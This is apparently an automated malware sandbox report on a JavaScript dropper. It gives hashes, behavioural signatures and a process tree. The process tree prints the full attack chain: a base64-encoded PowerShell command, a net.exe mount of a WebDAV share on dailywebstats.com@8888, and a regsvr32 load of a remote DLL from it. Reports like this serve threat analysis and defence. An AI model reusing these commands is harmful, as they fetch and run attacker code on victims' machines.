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Analysis

  • max time kernel
    149s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/07/2024, 23:19

General

  • Target

    28412446175773797.js

  • Size

    17KB

  • MD5

    57c5d7de5b5011d3198004a4ec925d59

  • SHA1

    a583be67a288f6662a597a4d09f2bc24e65e9834

  • SHA256

    d104feca0a214478933a2ec999a56f0f9261952bfc3990c4bbeb36dbb0269e9b

  • SHA512

    63273abe9c562cdf65b8269d8f631e4c4f6d95ba48cddc1e0c55b1a04675f84bbccb96bbb0b223ca7853702a1dc009539c9ba4953340a11cb015e3a2810e4bd3

  • SSDEEP

    96:y4ChUnZNj9RSV5fW14btOTuMjdQKDvGjkLjdSV0PQ7SVuDCdQ4z1nwtkLjdSV0PZ:bChQr9F1QxaFDsitoSP

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\28412446175773797.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4880
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADEAMgA5ADkANgA2ADcAMAAzADIAMgA0ADEAMgAuAGQAbABsAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2584
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
        3⤵
          PID:4364
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\12996670322412.dll
          3⤵
            PID:4584

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_udvct0ka.fok.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/2584-0-0x00007FF9462A3000-0x00007FF9462A5000-memory.dmp

        Filesize

        8KB

      • memory/2584-1-0x0000018733260000-0x0000018733282000-memory.dmp

        Filesize

        136KB

      • memory/2584-11-0x00007FF9462A0000-0x00007FF946D61000-memory.dmp

        Filesize

        10.8MB

      • memory/2584-14-0x00007FF9462A0000-0x00007FF946D61000-memory.dmp

        Filesize

        10.8MB

      • memory/2584-15-0x00007FF9462A0000-0x00007FF946D61000-memory.dmp

        Filesize

        10.8MB